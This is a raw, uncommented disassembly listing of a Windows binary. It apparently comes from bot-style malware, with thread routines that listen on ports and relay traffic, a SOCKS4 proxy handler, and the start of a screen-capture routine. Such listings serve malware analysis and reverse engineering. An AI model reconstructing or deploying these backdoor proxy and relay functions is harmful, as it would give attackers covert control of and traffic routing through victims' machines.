		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40607D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40BAE7
		add	esp, 14h


loc_40607D:				; CODE XREF: sub_405FC5+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40A5B3
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406093:				; CODE XREF: sub_405FC5+63j
					; sub_405FC5+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_422054
		mov	edi, ebx
		mov	ds:dword_4325EC[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_406160


loc_4060B1:				; CODE XREF: sub_405FC5+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_426BC0
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414F2C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_43BEC4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_405DAD
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_40612B


loc_406120:				; CODE XREF: sub_405FC5+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_406152
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_406120
; ---------------------------------------------------------------------------


loc_40612B:				; CODE XREF: sub_405FC5+159j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_426B74
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40A5B3
		add	esp, 10h


loc_406152:				; CODE XREF: sub_405FC5+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4060B1


loc_406160:				; CODE XREF: sub_405FC5+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40620A
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_406175:				; CODE XREF: sub_405FC5+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_4325E8[eax*8]
		push	eax
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_426B20
		push	eax
		call	sub_415480
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_4061C3
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40BAE7
		add	esp, 14h


loc_4061C3:				; CODE XREF: sub_405FC5+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40A5B3
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	ds:dword_4325EC[eax*8],	ebx
		call	esi	; Sleep
		push	8
		call	sub_415174
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4061FA
		push	offset dword_4345E8
		call	ds:dword_4220AC	; RtlDeleteCriticalSection


loc_4061FA:				; CODE XREF: sub_405FC5+228j
		push	[ebp+var_2C]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_40620A:				; CODE XREF: sub_405FC5+19Ej
					; sub_405FC5+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_4325EC[eax*8],	1
		jnz	loc_406175
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40620A
sub_405FC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406224	proc near		; DATA XREF: sub_40D2E0+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_436468	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_4364E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406388
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_43BECC[eax], ebx
		call	ds:dword_436384	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_436494	; bind
		test	eax, eax
		jnz	loc_406388
		push	0Ah
		push	ebx
		call	ds:dword_436490	; listen
		test	eax, eax
		jnz	loc_406388


loc_4062CE:				; CODE XREF: sub_406224+BEj
					; sub_406224+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_4364FC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4062CE
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_426C9C
		push	eax
		call	sub_415480
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414F2C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_43BEC4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_4063AC
		push	esi
		push	esi
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_406373


loc_406360:				; CODE XREF: sub_406224+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_4062CE
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_406360
; ---------------------------------------------------------------------------


loc_406373:				; CODE XREF: sub_406224+13Aj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_426C50
		call	sub_40A627
		pop	ecx
		pop	ecx
		jmp	short loc_40638B
; ---------------------------------------------------------------------------


loc_406388:				; CODE XREF: sub_406224+61j
					; sub_406224+93j ...
		mov	edi, [ebp+arg_0]


loc_40638B:				; CODE XREF: sub_406224+162j
		push	edi
		call	ds:dword_436500	; closesocket
		push	ebx
		call	ds:dword_436500	; closesocket
		push	[ebp+var_3C]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_406224	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063AC	proc near		; DATA XREF: sub_406224+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_4364E8	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_406562
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	ds:dword_436468	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40643C
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_4364EC	; gethostbyname
		jmp	short loc_40644A
; ---------------------------------------------------------------------------


loc_40643C:				; CODE XREF: sub_4063AC+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_436420	; gethostbyaddr


loc_40644A:				; CODE XREF: sub_4063AC+8Ej
		cmp	eax, edi
		jz	loc_406562
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_436410	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_406562
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_426D44
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_414F2C
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43BECC[ebx]
		mov	ds:dword_43BEC4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_43BED0[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_406593
		push	edi
		push	edi
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_40654F


loc_4064FC:				; CODE XREF: sub_4063AC+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_40650B
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_4064FC
; ---------------------------------------------------------------------------


loc_40650B:				; CODE XREF: sub_4063AC+153j
		mov	ebx, 1000h


loc_406510:				; CODE XREF: sub_4063AC+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_436480	; recv
		cmp	eax, edi
		jle	short loc_406562
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406510
		jmp	short loc_406562
; ---------------------------------------------------------------------------


loc_40654F:				; CODE XREF: sub_4063AC+14Ej
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_426CF4
		call	sub_40A627
		pop	ecx
		pop	ecx


loc_406562:				; CODE XREF: sub_4063AC+44j
					; sub_4063AC+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	ds:dword_43BECC[eax]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_4]
		call	sub_415248
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4063AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406593	proc near		; DATA XREF: sub_4063AC+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_4065CA:				; CODE XREF: sub_406593+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	ds:dword_43BED0[esi]
		call	ds:dword_436480	; recv
		test	eax, eax
		jle	short loc_406611
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	ds:dword_43BECC[esi]
		call	ds:dword_4364B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4065CA


loc_406611:				; CODE XREF: sub_406593+61j
		push	ds:dword_43BED0[esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_14]
		call	sub_415248
		pop	ecx
		push	0
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_406593	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406630	proc near		; DATA XREF: sub_40D2E0+5E51o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	ds:dword_436468	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	ds:dword_4364E8	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43BECC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	ds:dword_436494	; bind
		test	eax, eax
		jnz	loc_4067D2
		push	0Ah
		push	edi
		call	ds:dword_436490	; listen
		test	eax, eax
		jnz	loc_4067D2
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_426E74
		push	eax
		call	sub_415480
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_40670B
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40BAE7
		add	esp, 14h


loc_40670B:				; CODE XREF: sub_406630+B9j
					; sub_406630+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40A5B3
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_4364FC	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_426E20
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_414F2C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_43BEC4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_406835
		push	esi
		push	esi
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_4067B2


loc_40679F:				; CODE XREF: sub_406630+180j
		cmp	[ebp+var_28], esi
		jnz	loc_40670B
		push	5
		call	ds:dword_422054	; Sleep
		jmp	short loc_40679F
; ---------------------------------------------------------------------------


loc_4067B2:				; CODE XREF: sub_406630+16Dj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_426DD8
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	loc_40670B
; ---------------------------------------------------------------------------


loc_4067D2:				; CODE XREF: sub_406630+7Bj
					; sub_406630+8Cj
		push	edi
		call	ds:dword_436500	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_426D98
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_406815
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40BAE7
		add	esp, 14h


loc_406815:				; CODE XREF: sub_406630+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_3C]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_406630	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406835	proc near		; DATA XREF: sub_406630+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43BECC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	ds:dword_436450	; select
		test	eax, eax
		jnz	short loc_4068B6
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_4068B6:				; CODE XREF: sub_406835+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_436480	; recv
		test	eax, eax
		jg	short loc_4068E7
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_4068E7:				; CODE XREF: sub_406835+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_406AE1
		cmp	[ebp+var_4CF], 1
		jnz	loc_406AE1
		cmp	[ebp+var_44], bl
		jz	short loc_40697D
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40697D
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_426F48
		call	sub_40A627
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_415500
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4364B8	; send
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_40697D:				; CODE XREF: sub_406835+CFj
					; sub_406835+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_415500
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	ds:dword_4364E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_406A15
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		push	offset unk_426EFC
		call	sub_40A627
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415500
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4364B8	; send
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_406A15:				; CODE XREF: sub_406835+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	ds:dword_436410	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406A84
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		push	offset unk_426EAC
		call	sub_40A627
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415500
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4364B8	; send
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_406A84:				; CODE XREF: sub_406835+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4364B8	; send
		push	dword ptr [esi]
		push	edi
		call	sub_406AF9
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_436500	; closesocket
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_406AE1:				; CODE XREF: sub_406835+B9j
					; sub_406835+C6j
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
sub_406835	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF9	proc near		; CODE XREF: sub_406835+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_406B0F:				; CODE XREF: sub_406AF9+C5j
					; sub_406AF9+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_406B27:				; CODE XREF: sub_406AF9+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_406B37
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_406B27


loc_406B37:				; CODE XREF: sub_406AF9+33j
		cmp	ecx, 1
		jnz	short loc_406B4C
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_406B4C:				; CODE XREF: sub_406AF9+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_436450	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	ds:dword_436360	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_406BAC
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_436480	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BF4
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BF4


loc_406BAC:				; CODE XREF: sub_406AF9+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_436360	; __WSAFDIsSet
		test	eax, eax
		jz	loc_406B0F
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_436480	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BF4
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	ds:dword_4364B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_406B0F


loc_406BF4:				; CODE XREF: sub_406AF9+9Aj
					; sub_406AF9+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406AF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BF9	proc near		; CODE XREF: sub_40D2E0+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	ds:dword_436454	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_406E2D
		push	8
		push	edi
		call	ds:dword_436470	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	ds:dword_436470	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	ds:dword_436470	; GetDeviceCaps
		cmp	eax, 8
